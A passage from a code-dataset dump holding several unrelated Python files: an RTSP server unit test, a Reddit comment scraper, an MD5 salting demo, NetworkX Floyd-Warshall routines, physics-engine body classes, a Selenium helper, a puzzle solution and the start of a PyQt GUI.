PoiIssue\n","repo_name":"veit/Products.Poi","sub_path":"Products/Poi/content/PoiIssue.py","file_name":"PoiIssue.py","file_ext":"py","file_size_in_byte":27129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35602535861","text":"#!/usr/bin/python\n#-*- coding=utf-8 -*-\n##\n# @file rtspServer_test.py\n# @brief unit test for rtspServer.py\n# @author yy\n# @version 0.1\n# @date 2012-07-05\n\nimport datetime\n\nfrom twisted.trial import unittest\nfrom twisted.test import proto_helpers\n\nfrom liveStreamServer import LiveServer\nfrom source import LiveSource\nfrom rtspServer import RTSPServer\nfrom rtspHandler import RTSPRequestHandler\nfrom rtpClient import TCPSender, UDPSender\n\n\n\nclass TestSource(LiveSource):\n    \"\"\"source for test \"\"\"\n    def __init__(self):\n        super(TestSource, self).__init__(name = 'stream.264')\n        self._SDP = '\\r\\n'.join([\"m=video 0 RTP/AVP 96\",\n                         \"a=control:trackID=0\",\n                         \"a=rtpmap:96 H264/90000\",\n                         \"a=fmtp:96 packetization-mode=1;profile-level-id=6742c0;sprop-parameter-sets=Z0LgHtoCgLRA,aM4wpIA=\"])\n        \nclass ClassName(object):\n    \"\"\"docstring for ClassName\"\"\"\n    def __init__(self, arg):\n        super(ClassName, self).__init__()\n        self.arg = arg\n        \n    def getSDP(self):\n        return self._SDP\n\n    def getName(self):\n        return self._name\n\nclass RTSPServerTestCase(unittest.TestCase):\n\n    def setUp(self):\n        liveServer = LiveServer()\n        liveServer.addSource(TestSource())\n        \n        factory = RTSPServer(liveServer)\n        self.protocol = factory.buildProtocol(('127.0.0.1', 1556))\n        self.transport = proto_helpers.StringTransportWithDisconnection()\n        self.transport.protocol = self.protocol\n        self.protocol.makeConnection(self.transport)\n\n    def test_OPTIONS(self):\n        self.protocol.dataReceived(\"OPTIONS rtsp://127.0.0.1:1556/stream.264 RTSP/1.0\\r\\n\"\n                                    \"CSeq: 1\\r\\n\"\n                                    \"User-Agent: LibVLC/1.1.4 (LIVE555 Streaming Media v2010.04.09\\r\\n\\r\\n\")\n        self.assertEqual(self.transport.value(), \"RTSP/1.0 200 OK\\r\\n\"\n                        \"Server: python rtsp; Platform/Linux; Release/GM; state/beta;%s\\r\\n\"\n                        \"CSeq: 1\\r\\n\"\n                        \"Public: DESCRIBE, SETUP, TEARDOWN, PLAY, OPTIONS\\r\\n\\r\\n\"\\\n                        %(datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')))\n\n    def test_DESCRIBE_success(self):\n        lines = [\"DESCRIBE rtsp://127.0.0.1:1556/stream.264 RTSP/1.0\",\n                 \"CSeq: 2\",\n                 \"Accept: application/sdp\",\n                 \"User-Agent: LibVLC/1.1.4 (LIVE555 Streaming Media v2010.04.09)\"]\n        result = self.protocol._handler.handleDESCRIBE(self.protocol, lines)\n        self.assertTrue('Content-Length: 260' in result)\n\n    def test_DESCRIBE_fail(self):\n        lines = [\"DESCRIBE rtsp://127.0.0.1:1556/notExist.264 RTSP/1.0\",\n                 \"CSeq: 2\",\n                 \"Accept: application/sdp\",\n                 \"User-Agent: LibVLC/1.1.4 (LIVE555 Streaming Media v2010.04.09)\"]\n        result = self.protocol._handler.handleDESCRIBE(self.protocol, lines)\n        self.assertTrue('RTSP/1.0 404 Not Found' in result)\n\n    def test_tcpSETUP(self):\n        self.protocol._handler._setSource(TestSource())\n        lines = [\"SETUP rtsp://127.0.0.1:1556/stream.264/trackID=0 RTSP/1.0\",\n                 \"CSeq: 3\",\n                 \"Transport: RTP/AVP/TCP;unicast;interleaved=0-1\",\n                 \"User-Agent: LibVLC/1.1.4 (LIVE555 Streaming Media v2010.04.09)\"]\n        result = self.protocol._handler.handleSETUP(self.protocol, lines)\n        self.assertTrue(\"OK\" in result[0])\n        self.assertTrue(isinstance(self.protocol._handler._client._sender, TCPSender))\n\n    def test_udpSETUP(self):\n        self.protocol._handler._setSource(TestSource())\n        lines = [\"SETUP rtsp://127.0.0.1:1556/stream.264/trackID=0 RTSP/1.0\",\n                 \"CSeq: 3\",\n                 \"Transport: RTP/AVP;unicast;client_port=51164-51165\",\n                 \"User-Agent: LibVLC/1.1.4 (LIVE555 Streaming Media v2010.04.09)\"]\n        result = self.protocol._handler.handleSETUP(self.protocol, lines)\n        self.assertTrue(\"OK\" in result[0])\n        self.assertTrue(isinstance(self.protocol._handler._client._sender, UDPSender))\n        self.protocol._handler.cleanRTPClient()\n\n    def test_PLAY(self):\n        pass\n\n    def test_TEARDOWN(self):\n        pass    \n\n    def tearDown(self):\n        self.protocol.transport.loseConnection()\n\n","repo_name":"demonyangyue/streamserver","sub_path":"test/rtspServer_test.py","file_name":"rtspServer_test.py","file_ext":"py","file_size_in_byte":4332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"9070307285","text":"import json\nimport praw\nimport time\nfrom pprint import pprint\n\nimport boto3\nimport uuid\n\nclient = boto3.client('kinesis', region_name='us-east-1')\npartition_key = str(uuid.uuid4())\n\nif __name__ == \"__main__\":\n\n    reddit = praw.Reddit(\"bot1\")\n    # get hot topics in wallstreetbets\n    subreddit = reddit.subreddit(\"wallstreetbets\")\n    print(subreddit.display_name)\n\n    num_posts = 100\n\n    for i in range(num_posts):\n\n        submission = reddit.subreddit(\"wallstreetbets\").random()\n        # submission = reddit.submission(id=\"p0j8bg\")\n        print(submission.title)\n        print(submission.id)\n        print(submission.url)\n\n        # print(type(submission))\n        submission.comments.replace_more(limit=50)\n        # pprint(vars(submission))\n\n        for cnt, comment in enumerate(submission.comments.list()):\n            pprint(vars(comment))\n            comment = vars(comment)\n            comment = {key: comment[key] for key in ['body', 'score']}\n            comment['permalink'] = submission.permalink\n            comment['submission_id'] = submission.id\n\n            pprint(comment)\n            data = json.dumps(comment)\n\n            # client.put_record(\n            #     StreamName='wallstreetbets',\n            #     Data=data,\n            #     PartitionKey=partition_key)\n\n            time.sleep(1)\n            break\n\n        break\n\n        print(cnt)\n","repo_name":"gerold-csendes-epam/ea-academy-demo","sub_path":"tutorial.py","file_name":"tutorial.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"75101073757","text":"# -*- encoding: utf-8 -*-\n\n\"\"\"\n@File    :   hex_md5.py    \n2021/11/16 16:43     Xchen~      \n\"\"\"\n\nfrom hashlib import md5\n\nkey = \"s^H8\"\npwd = \"123456\"\ndata = pwd + key\ndata_ = md5(data.encode('utf-8')).hexdigest()\n# a = data_.upper()[0:5]\nres = md5(str(data_.upper()[:5]+data_.upper()).encode('utf-8')).hexdigest()\nres = res.upper()\nprint(res)\n\n\n\n\n\n# md5_url = md5(url.encode('utf8')).hexdigest()\n# print(md5_url)  # 2f7108ac307fd06f5995948f35a70f2f\n#\n# response = requests.get(url)\n# md5_content = md5(response.content).hexdigest()\n# print(md5_content)  # bf93cde0b6edb50b9e95106c11fdd5ad\n\n\nfrom random import Random\nimport hashlib\n\n\n# 获取由4位随机大小写字母、数字组成的salt值\ndef create_salt(length=4):\n    salt = ''\n    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\n    len_chars = len(chars) - 1\n    random = Random()\n    for i in range(length):\n        # 每次从chars中随机取一位\n        salt += chars[random.randint(0, len_chars)]\n    return salt\n\n\n# 获取原始密码+salt的md5值\ndef create_md5(pwd, salt):\n    md5_obj = hashlib.md5()\n    md5_obj.update((pwd + salt).encode(\"utf-8\"))\n    return md5_obj.hexdigest()\n\n\n# 原始密码\npwd = '123456'\n# 随机生成4位salt\nsalt = create_salt()\n# 加密后的密码\nmd5 = create_md5(pwd, salt)\n\nprint('[pwd]\\n', pwd)\nprint('[salt]\\n', salt)\nprint('[md5]\\n', md5)\n\n\n\n# e10adc3949ba59abbe56e057f20f883e\n","repo_name":"IT-X-chen/JSExercise","sub_path":"hex_md5.py","file_name":"hex_md5.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"73132797598","text":"import networkx as nx\n\n__all__ = ['floyd_warshall',\n           'floyd_warshall_predecessor_and_distance',\n           'reconstruct_path',\n           'floyd_warshall_numpy']\n\n\ndef floyd_warshall_numpy(G, nodelist=None, weight='weight'):\n    \"\"\"Find all-pairs shortest path lengths using Floyd's algorithm.\n\n    Parameters\n    ----------\n    G : NetworkX graph\n\n    nodelist : list, optional\n       The rows and columns are ordered by the nodes in nodelist.\n       If nodelist is None then the ordering is produced by G.nodes().\n\n    weight: string, optional (default= 'weight')\n       Edge data key corresponding to the edge weight.\n\n    Returns\n    -------\n    distance : NumPy matrix\n        A matrix of shortest path distances between nodes.\n        If there is no path between to nodes the corresponding matrix entry\n        will be Inf.\n\n    Notes\n    ------\n    Floyd's algorithm is appropriate for finding shortest paths in\n    dense graphs or graphs with negative weights when Dijkstra's\n    algorithm fails.  This algorithm can still fail if there are\n    negative cycles.  It has running time $O(n^3)$ with running space of $O(n^2)$.\n    \"\"\"\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\n            \"to_numpy_matrix() requires numpy: http://scipy.org/ \")\n\n    # To handle cases when an edge has weight=0, we must make sure that\n    # nonedges are not given the value 0 as well.\n    A = nx.to_numpy_matrix(G, nodelist=nodelist, multigraph_weight=min,\n                           weight=weight, nonedge=np.inf)\n    n, m = A.shape\n    I = np.identity(n)\n    A[I == 1] = 0  # diagonal elements should be zero\n    for i in range(n):\n        A = np.minimum(A, A[i, :] + A[:, i])\n    return A\n\n\ndef floyd_warshall_predecessor_and_distance(G, weight='weight'):\n    \"\"\"Find all-pairs shortest path lengths using Floyd's algorithm.\n\n    Parameters\n    ----------\n    G : NetworkX graph\n\n    weight: string, optional (default= 'weight')\n       Edge data key corresponding to the edge weight.\n\n    Returns\n    -------\n    predecessor,distance : dictionaries\n       Dictionaries, keyed by source and target, of predecessors and distances\n       in the shortest path.\n\n    Examples\n    --------\n    >>> G = nx.DiGraph()\n    >>> G.add_weighted_edges_from([('s', 'u', 10), ('s', 'x', 5),\n    ...     ('u', 'v', 1), ('u', 'x', 2), ('v', 'y', 1), ('x', 'u', 3),\n    ...     ('x', 'v', 5), ('x', 'y', 2), ('y', 's', 7), ('y', 'v', 6)])\n    >>> predecessors, _ = nx.floyd_warshall_predecessor_and_distance(G)\n    >>> print(nx.reconstruct_path('s', 'v', predecessors))\n    ['s', 'x', 'u', 'v']\n\n    Notes\n    ------\n    Floyd's algorithm is appropriate for finding shortest paths\n    in dense graphs or graphs with negative weights when Dijkstra's algorithm\n    fails.  This algorithm can still fail if there are negative cycles.\n    It has running time $O(n^3)$ with running space of $O(n^2)$.\n\n    See Also\n    --------\n    floyd_warshall\n    floyd_warshall_numpy\n    all_pairs_shortest_path\n    all_pairs_shortest_path_length\n    \"\"\"\n    from collections import defaultdict\n    # dictionary-of-dictionaries representation for dist and pred\n    # use some defaultdict magick here\n    # for dist the default is the floating point inf value\n    dist = defaultdict(lambda: defaultdict(lambda: float('inf')))\n    for u in G:\n        dist[u][u] = 0\n    pred = defaultdict(dict)\n    # initialize path distance dictionary to be the adjacency matrix\n    # also set the distance to self to 0 (zero diagonal)\n    undirected = not G.is_directed()\n    for u, v, d in G.edges(data=True):\n        e_weight = d.get(weight, 1.0)\n        dist[u][v] = min(e_weight, dist[u][v])\n        pred[u][v] = u\n        if undirected:\n            dist[v][u] = min(e_weight, dist[v][u])\n            pred[v][u] = v\n    for w in G:\n        for u in G:\n            for v in G:\n                if dist[u][v] > dist[u][w] + dist[w][v]:\n                    dist[u][v] = dist[u][w] + dist[w][v]\n                    pred[u][v] = pred[w][v]\n    return dict(pred), dict(dist)\n\n\ndef reconstruct_path(source, target, predecessors):\n    \"\"\"Reconstruct a path from source to target using the predecessors\n    dict as returned by floyd_warshall_predecessor_and_distance\n\n    Parameters\n    ----------\n    source : node\n       Starting node for path\n\n    target : node\n       Ending node for path\n\n    predecessors: dictionary\n       Dictionary, keyed by source and target, of predecessors in the\n       shortest path, as returned by floyd_warshall_predecessor_and_distance\n\n    Returns\n    -------\n    path : list\n       A list of nodes containing the shortest path from source to target\n\n       If source and target are the same, an empty list is returned\n\n    Notes\n    ------\n    This function is meant to give more applicability to the\n    floyd_warshall_predecessor_and_distance function\n\n    See Also\n    --------\n    floyd_warshall_predecessor_and_distance\n    \"\"\"\n    if source == target:\n        return []\n    prev = predecessors[source]\n    curr = prev[target]\n    path = [target, curr]\n    while curr != source:\n        curr = prev[curr]\n        path.append(curr)\n    return list(reversed(path))\n\n\ndef floyd_warshall(G, weight='weight'):\n    \"\"\"Find all-pairs shortest path lengths using Floyd's algorithm.\n\n    Parameters\n    ----------\n    G : NetworkX graph\n\n    weight: string, optional (default= 'weight')\n       Edge data key corresponding to the edge weight.\n\n\n    Returns\n    -------\n    distance : dict\n       A dictionary,  keyed by source and target, of shortest paths distances\n       between nodes.\n\n    Notes\n    ------\n    Floyd's algorithm is appropriate for finding shortest paths\n    in dense graphs or graphs with negative weights when Dijkstra's algorithm\n    fails.  This algorithm can still fail if there are negative cycles.\n    It has running time $O(n^3)$ with running space of $O(n^2)$.\n\n    See Also\n    --------\n    floyd_warshall_predecessor_and_distance\n    floyd_warshall_numpy\n    all_pairs_shortest_path\n    all_pairs_shortest_path_length\n    \"\"\"\n    # could make this its own function to reduce memory costs\n    return floyd_warshall_predecessor_and_distance(G, weight=weight)[1]\n\n# fixture for nose tests\n\n\ndef setup_module(module):\n    from nose import SkipTest\n    try:\n        import numpy\n    except:\n        raise SkipTest(\"NumPy not available\")\n","repo_name":"holzschu/Carnets","sub_path":"Library/lib/python3.7/site-packages/networkx/algorithms/shortest_paths/dense.py","file_name":"dense.py","file_ext":"py","file_size_in_byte":6382,"program_lang":"python","lang":"en","doc_type":"code","stars":510,"dataset":"github-code","pt":"51"}
+{"seq_id":"34241266822","text":"import math\n\nimport ode\nimport pygame\n\nimport torch\n\nfrom .utils import Indices, Defaults, get_tensor, cross_2d, rotation_matrix\n\nX = Indices.X\nY = Indices.Y\nDIM = Defaults.DIM\n\n\nclass Body(object):\n    \"\"\"Base class for bodies.\n    \"\"\"\n    def __init__(self, pos, vel=(0, 0, 0), mass=1, restitution=Defaults.RESTITUTION,\n                 fric_coeff=Defaults.FRIC_COEFF, eps=Defaults.EPSILON,\n                 col=(255, 0, 0), thickness=1):\n        # get base tensor to define dtype, device and layout for others\n        self._set_base_tensor(locals().values())\n\n        self.eps = get_tensor(eps, base_tensor=self._base_tensor)\n        # rotation & position vectors\n        pos = get_tensor(pos, base_tensor=self._base_tensor)\n        if pos.size(0) == 2:\n            self.p = torch.cat([pos.new_zeros(1), pos])\n        else:\n            self.p = pos\n        self.rot = self.p[0:1]\n        self.pos = self.p[1:]\n\n        # linear and angular velocity vector\n        vel = get_tensor(vel, base_tensor=self._base_tensor)\n        if vel.size(0) == 2:\n            self.v = torch.cat([vel.new_zeros(1), vel])\n        else:\n            self.v = vel\n\n        self.mass = get_tensor(mass, self._base_tensor)\n        self.ang_inertia = self._get_ang_inertia(self.mass)\n        # M can change if object rotates, not the case for now\n        self.M = self.v.new_zeros(len(self.v), len(self.v))\n        ang_sizes = [1, 1]\n        self.M[:ang_sizes[0], :ang_sizes[1]] = self.ang_inertia\n        self.M[ang_sizes[0]:, ang_sizes[1]:] = torch.eye(DIM).type_as(self.M) * self.mass\n\n        self.fric_coeff = get_tensor(fric_coeff, base_tensor=self._base_tensor)\n        self.restitution = get_tensor(restitution, base_tensor=self._base_tensor)\n        self.forces = []\n\n        self.col = col\n        self.thickness = thickness\n\n        self._create_geom()\n\n    def _set_base_tensor(self, args):\n        \"\"\"Check if any tensor provided and if so set as base tensor to\n           use as base for other tensors' dtype, device and layout.\n        \"\"\"\n        if hasattr(self, '_base_tensor') and self._base_tensor is not None:\n            return\n\n        for arg in args:\n            if isinstance(arg, torch.Tensor):\n                self._base_tensor = arg\n                return\n\n        # if no tensor provided, use defaults\n        self._base_tensor = get_tensor(0, base_tensor=None)\n        return\n\n    def _create_geom(self):\n        raise NotImplementedError\n\n    def _get_ang_inertia(self, mass):\n        raise NotImplementedError\n\n    def move(self, dt, update_geom_rotation=True):\n        new_p = self.p + self.v * dt\n        self.set_p(new_p, update_geom_rotation)\n\n    def set_p(self, new_p, update_geom_rotation=True):\n        self.p = new_p\n        # Reset memory pointers\n        self.rot = self.p[0:1]\n        self.pos = self.p[1:]\n\n        self.geom.setPosition([self.pos[0], self.pos[1], 0.0])\n        if update_geom_rotation:\n            # XXX sign correction\n            s = math.sin(-self.rot.item() / 2)\n            c = math.cos(-self.rot.item() / 2)\n            quat = [s, 0, 0, c]  # Eq 2.3\n            self.geom.setQuaternion(quat)\n\n    def apply_forces(self, t):\n        if len(self.forces) == 0:\n            return self.v.new_zeros(len(self.v))\n        else:\n            return sum([f.force(t) for f in self.forces])\n\n    def add_no_contact(self, other):\n        self.geom.no_contact.add(other.geom)\n        other.geom.no_contact.add(self.geom)\n\n    def add_force(self, f):\n        self.forces.append(f)\n        f.set_body(self)\n\n    def draw(self, screen, pixels_per_meter=1):\n        raise NotImplementedError\n\n\nclass Circle(Body):\n    def __init__(self, pos, rad, vel=(0, 0, 0), mass=1, restitution=Defaults.RESTITUTION,\n                 fric_coeff=Defaults.FRIC_COEFF, eps=Defaults.EPSILON,\n                 col=(255, 0, 0), thickness=1):\n        self._set_base_tensor(locals().values())\n        self.rad = get_tensor(rad, base_tensor=self._base_tensor)\n        super().__init__(pos, vel=vel, mass=mass, restitution=restitution,\n                         fric_coeff=fric_coeff, eps=eps, col=col, thickness=thickness)\n\n    def _get_ang_inertia(self, mass):\n        return mass * self.rad * self.rad / 2\n\n    def _create_geom(self):\n        self.geom = ode.GeomSphere(None, self.rad.item() + self.eps.item())\n        self.geom.setPosition(torch.cat([self.pos,\n                                         self.pos.new_zeros(1)]))\n        self.geom.no_contact = set()\n\n    def move(self, dt, update_geom_rotation=False):\n        super().move(dt, update_geom_rotation=update_geom_rotation)\n\n    def set_p(self, new_p, update_geom_rotation=False):\n        super().set_p(new_p, update_geom_rotation=update_geom_rotation)\n\n    def draw(self, screen, pixels_per_meter=1):\n        center = (self.pos.detach().numpy() * pixels_per_meter).astype(int)\n        rad = int(self.rad.item() * pixels_per_meter)\n        # draw radius to visualize orientation\n        r = pygame.draw.line(screen, (0, 0, 255), center,\n                             center + [math.cos(self.rot.item()) * rad,\n                                       math.sin(self.rot.item()) * rad],\n                             self.thickness)\n        # draw circle\n        c = pygame.draw.circle(screen, self.col, center,\n                               rad, self.thickness)\n        return [c, r]\n\n\nclass Hull(Body):\n    \"\"\"Body's position will not necessarily match reference point.\n       Reference point is used as a world frame reference for setting the position\n       of vertices, which maintain the world frame position that was passed in.\n       After vertices are positioned in world frame using reference point, centroid\n       of hull is calculated and the vertices' representation is adjusted to the\n       centroid's frame. Object position is set to centroid.\n    \"\"\"\n    def __init__(self, ref_point, vertices, vel=(0, 0, 0), mass=1, restitution=Defaults.RESTITUTION,\n                 fric_coeff=Defaults.FRIC_COEFF, eps=Defaults.EPSILON,\n                 col=(255, 0, 0), thickness=1):\n        self._set_base_tensor(locals().values())\n        ref_point = get_tensor(ref_point, base_tensor=self._base_tensor)\n        # center vertices around centroid\n        verts = [get_tensor(v, base_tensor=self._base_tensor) for v in vertices]\n        assert len(verts) > 2 and self._is_clockwise(verts)\n        centroid = self._get_centroid(verts)\n        self.verts = [v - centroid for v in verts]\n        # center position at centroid\n        pos = ref_point + centroid\n        # store last separating edge for SAT\n        self.last_sat_idx = 0\n        super().__init__(pos, vel=vel, mass=mass, restitution=restitution,\n                         fric_coeff=fric_coeff, eps=eps, col=col, thickness=thickness)\n\n    def _get_ang_inertia(self, mass):\n        numerator = 0\n        denominator = 0\n        for i in range(len(self.verts)):\n            v1 = self.verts[i]\n            v2 = self.verts[(i+1) % len(self.verts)]\n            norm_cross = torch.norm(cross_2d(v2, v1))\n            numerator = numerator + norm_cross * \\\n                (torch.dot(v1, v1) + torch.dot(v1, v2) + torch.dot(v2, v2))\n            denominator = denominator + norm_cross\n        return 1 / 6 * mass * numerator / denominator\n\n    def _create_geom(self):\n        # find vertex furthest from centroid\n        max_rad = max([v.dot(v).item() for v in self.verts])\n        max_rad = math.sqrt(max_rad)\n\n        # XXX Using sphere with largest vertex ray for broadphase for now\n        self.geom = ode.GeomSphere(None, max_rad + self.eps.item())\n        self.geom.setPosition(torch.cat([self.pos,\n                                         self.pos.new_zeros(1)]))\n        self.geom.no_contact = set()\n\n    def set_p(self, new_p, update_geom_rotation=False):\n        rot = new_p[0] - self.p[0]\n        if rot.item() != 0:\n            self.rotate_verts(rot)\n        super().set_p(new_p, update_geom_rotation=update_geom_rotation)\n\n    def move(self, dt, update_geom_rotation=False):\n        super().move(dt, update_geom_rotation=update_geom_rotation)\n\n    def rotate_verts(self, rot):\n        rot_mat = rotation_matrix(rot)\n        for i in range(len(self.verts)):\n            self.verts[i] = rot_mat.matmul(self.verts[i])\n\n    @staticmethod\n    def _get_centroid(verts):\n        numerator = 0\n        denominator = 0\n        for i in range(len(verts)):\n            v1 = verts[i]\n            v2 = verts[(i + 1) % len(verts)]\n            cross = cross_2d(v2, v1)\n            numerator = numerator + cross * (v1 + v2)\n            denominator = denominator + cross / 2\n        return 1 / 6 * numerator / denominator\n\n    @staticmethod\n    def _is_clockwise(verts):\n        total = 0\n        for i in range(len(verts)):\n            v1 = verts[i]\n            v2 = verts[(i+1) % len(verts)]\n            total = total + ((v2[X] - v1[X]) * (v2[Y] + v1[Y])).item()\n        return total < 0\n\n    def draw(self, screen, draw_center=True, pixels_per_meter=1):\n        # vertices in global frame\n        pts = [(v + self.pos).detach().cpu().numpy() * pixels_per_meter\n               for v in self.verts]\n\n        # draw hull\n        p = pygame.draw.polygon(screen, self.col, pts, self.thickness)\n        # draw center\n        if draw_center:\n            c_pos = (self.pos.data.numpy() * pixels_per_meter).astype(int)\n            c = pygame.draw.circle(screen, (0, 0, 255), c_pos, 2)\n            return [p, c]\n        else:\n            return [p]\n\n\nclass Rect(Hull):\n    def __init__(self, pos, dims, vel=(0, 0, 0), mass=1, restitution=Defaults.RESTITUTION,\n                 fric_coeff=Defaults.FRIC_COEFF, eps=Defaults.EPSILON,\n                 col=(255, 0, 0), thickness=1):\n        self._set_base_tensor(locals().values())\n        self.dims = get_tensor(dims, base_tensor=self._base_tensor)\n        pos = get_tensor(pos, base_tensor=self._base_tensor)\n        half_dims = self.dims / 2\n        v0, v1 = half_dims, half_dims * half_dims.new_tensor([-1, 1])\n        verts = [v0, v1, -v0, -v1]\n        ref_point = pos[-2:]\n        super().__init__(ref_point, verts, vel=vel, mass=mass, restitution=restitution,\n                         fric_coeff=fric_coeff, eps=eps, col=col, thickness=thickness)\n        if pos.size(0) == 3:\n            self.set_p(pos)\n\n    def _get_ang_inertia(self, mass):\n        return mass * torch.sum(self.dims ** 2) / 12\n\n    def _create_geom(self):\n        self.geom = ode.GeomBox(None, torch.cat([self.dims + 2 * self.eps.item(),\n                                                 self.dims.new_ones(1)]))\n        self.geom.setPosition(torch.cat([self.pos, self.pos.new_zeros(1)]))\n        self.geom.no_contact = set()\n\n    def rotate_verts(self, rot):\n        rot_mat = rotation_matrix(rot)\n        self.verts[0] = rot_mat.matmul(self.verts[0])\n        self.verts[1] = rot_mat.matmul(self.verts[1])\n        self.verts[2] = -self.verts[0]\n        self.verts[3] = -self.verts[1]\n\n    def set_p(self, new_p, update_geom_rotation=True):\n        super().set_p(new_p, update_geom_rotation=update_geom_rotation)\n\n    def move(self, dt, update_geom_rotation=True):\n        super().move(dt, update_geom_rotation=update_geom_rotation)\n\n    def draw(self, screen, pixels_per_meter=1):\n        # draw diagonals\n        verts = [(v + self.pos).detach().cpu().numpy() * pixels_per_meter\n                 for v in self.verts]\n        l1 = pygame.draw.line(screen, (0, 0, 255), verts[0], verts[2])\n        l2 = pygame.draw.line(screen, (0, 0, 255), verts[1], verts[3])\n\n        # draw rectangle\n        p = super().draw(screen, pixels_per_meter=pixels_per_meter,\n                         draw_center=False)\n        return [l1, l2] + p\n","repo_name":"locuslab/lcp-physics","sub_path":"lcp_physics/physics/bodies.py","file_name":"bodies.py","file_ext":"py","file_size_in_byte":11658,"program_lang":"python","lang":"en","doc_type":"code","stars":283,"dataset":"github-code","pt":"51"}
+{"seq_id":"40921973281","text":"from selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import StaleElementReferenceException, TimeoutException\nfrom selenium.webdriver.common.by import By\n\n\nclass Base:\n\n    def __init__(self, driver):\n        self.driver = driver\n\n    accept_city = \"//span[contains(text(),'Да, верно')]\"\n\n    def get_accept_city(self):\n        return self.get_element_clickable(self.driver, (By.XPATH, self.accept_city))\n\n    def click_accept_city(self):\n        self.get_accept_city().click()\n\n    # Открытие url с использованием переданного драйвера\n    @classmethod\n    def open_page(cls, driver, url):\n        driver.get(url)\n\n    @classmethod\n    def get_element_visibility(cls, driver, locator, timeout=20, max_attempts=5):\n\n        attempts = 0\n        while attempts < max_attempts:\n            try:\n                return WebDriverWait(driver, timeout).until(EC.visibility_of_element_located(locator))\n            except StaleElementReferenceException:\n                attempts += 1\n            except TimeoutException as e:\n                if attempts == max_attempts - 1:\n                    raise e\n                attempts += 1\n\n        raise StaleElementReferenceException(\n            \"Couldn't find the element after several attempts.\"\n        )\n\n    @classmethod\n    def get_element_clickable(cls, driver, locator, timeout=20, max_attempts=5):\n\n        attempts = 0\n        while attempts < max_attempts:\n            try:\n                return WebDriverWait(driver, timeout).until(EC.element_to_be_clickable(locator))\n            except StaleElementReferenceException:\n                attempts += 1\n            except TimeoutException as e:\n                if attempts == max_attempts - 1:\n                    raise e\n                attempts += 1\n\n        raise StaleElementReferenceException(\n            \"Couldn't find the element after several attempts.\"\n        )\n\n    @classmethod\n    def get_s_link_wrapper_locator(cls, index):\n        base_locator = \"(//div[@class='s-link__wrapper'])\"\n        return f\"{base_locator}[{index}]\"\n","repo_name":"Edelweiss1304/strana","sub_path":"base/base_class.py","file_name":"base_class.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"28600968892","text":"x = open('day1input.txt','r').read()\nfloor = 0\ngoneToB = False\nfor i in range(len(x)):\n    if x[i] == '(': floor+=1\n    elif x[i] == ')':\n        floor-=1\n        if (floor < 0) and not goneToB:\n            print('day 2:', i+1)\n            goneToB = True\n    else: print('aaaaaaa')\nprint('day 1:', floor)","repo_name":"windowsyl/aoc","sub_path":"2015/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42732579917","text":"import json\nimport sys\nfrom pathlib import PurePath\nfrom time import sleep\n\nimport numpy as np\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtCore import Qt, QThread, pyqtSignal, QRunnable, QThreadPool, QObject, pyqtSlot\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox, QTreeWidgetItem, QLabel, QProgressBar\nfrom numpy.fft import fftfreq\nfrom ui.freq_response_ui import *\nfrom freq_response_from_measurement import draw\nfrom matplotlib import pyplot as plt\n\n\nclass MyThread(QThread):\n    change_value = pyqtSignal(int)\n\n    def run(self):\n        cnt = 0\n        while True:\n            cnt += 1\n            if cnt > 100:\n                cnt = 0\n            sleep(0.01)\n            self.change_value.emit(cnt)\n\n\nclass WorkerSignals(QObject):\n    finished = pyqtSignal(object, object)\n    status = pyqtSignal(object)\n    progress = pyqtSignal(object)\n    error = pyqtSignal(tuple)\n    result = pyqtSignal(object)\n\n\nclass DrawWorker(QRunnable):\n    def __init__(self, fn, *args):\n        super(DrawWorker, self).__init__()\n        # Store constructor arguments (re-used for processing)\n        self.fn = fn\n        self.args = args\n        self.signals = WorkerSignals()\n\n    @pyqtSlot()\n    def run(self):\n        data, figure_props = self.fn(*self.args, self.signals)\n        self.signals.finished.emit(data, figure_props)\n\n\nclass MyMainWindow(QMainWindow, Ui_MainWindow):\n    BASE, TARGET = range(2)\n    VERSION = '1.3'\n    DATE = '20210319'\n\n    def __init__(self, parent=None):\n        super(MyMainWindow, self).__init__(parent)\n        self.setupUi(self)\n        self.toolButtonBase.clicked.connect(lambda: self.on_toolButtonClicked_OpenFile(self.BASE))\n        self.toolButtonTarget.clicked.connect(lambda: self.on_toolButtonClicked_OpenFile(self.TARGET))\n        self.pushButtonAddMeasurement.clicked.connect(self.on_pushButtonClicked_AddMeasurement)\n        self.pushButtonAddTarget.clicked.connect(self.on_pushButtonClicked_AddTarget)\n        self.pushButtonDraw.clicked.connect(self.on_pushButtonClicked_Draw)\n        self.listWidgetTargetList.setContextMenuPolicy(Qt.CustomContextMenu)\n        self.listWidgetTargetList.customContextMenuRequested.connect(self.on_listWidgetCustomContextMenuRequested_TargetList)\n        self.treeWidgetMeasurments.setContextMenuPolicy(Qt.CustomContextMenu)\n        self.treeWidgetMeasurments.customContextMenuRequested.connect(self.on_treeWidgetCustomContextMenuRequested_Measurements)\n        self.treeWidgetRoot = QTreeWidgetItem(['measurements'])\n        self.treeWidgetMeasurments.setColumnCount(1)\n        self.treeWidgetMeasurments.addTopLevelItem(self.treeWidgetRoot)\n        self.comboBoxType.currentIndexChanged.connect(self.on_comboBoxCurrentIndexChanged_Type)\n        self.pushButtonClearTargets.clicked.connect(self.on_pushButtonClicked_ClearTargets)\n        